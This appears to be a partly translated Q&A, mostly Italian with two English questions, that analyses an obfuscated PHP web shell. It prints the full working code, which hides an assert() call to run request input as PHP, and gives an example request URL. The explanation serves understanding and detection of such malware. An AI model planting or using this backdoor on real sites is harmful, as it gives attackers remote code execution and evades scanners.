È una shell Web offuscata che consente l'esecuzione di codice in modalità remota.
Lo script alimenta $_REQUEST['e'] nella funzione assert() . Questo valuta il parametro di richiesta e come PHP. Usalo in questo modo:
http://example.com/shell.php?e=phpinfo()
assert() è una funzionalità di debug per valutare asserzioni. Ma se lo si alimenta con una stringa arbitraria, verrà eseguito come un'espressione PHP. È un modo ingegnoso per evitare eval() per impedire il rilevamento di malware.
Ecco lo snippet riformattato e commentato:
<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
// Complicate static analysis by assembling "assert" from multiple strings
$b = "ass"."ert";
// Evaluate assertion (yes, in PHP you can "call" a string as function name)
$a = $b($_REQUEST['e']);
// Junk. The assertion has already run, this doesn't do anything
${'a'};
}
?>
How does ${'a'} lead to code execution?
Non è così. $b($_REQUEST['e']) è dove viene eseguita l'asserzione. Il codice funziona senza ${'a'} .
Is the injected code sent by POST request?
$_REQUEST consente di inviare il parametro tramite GET e POST .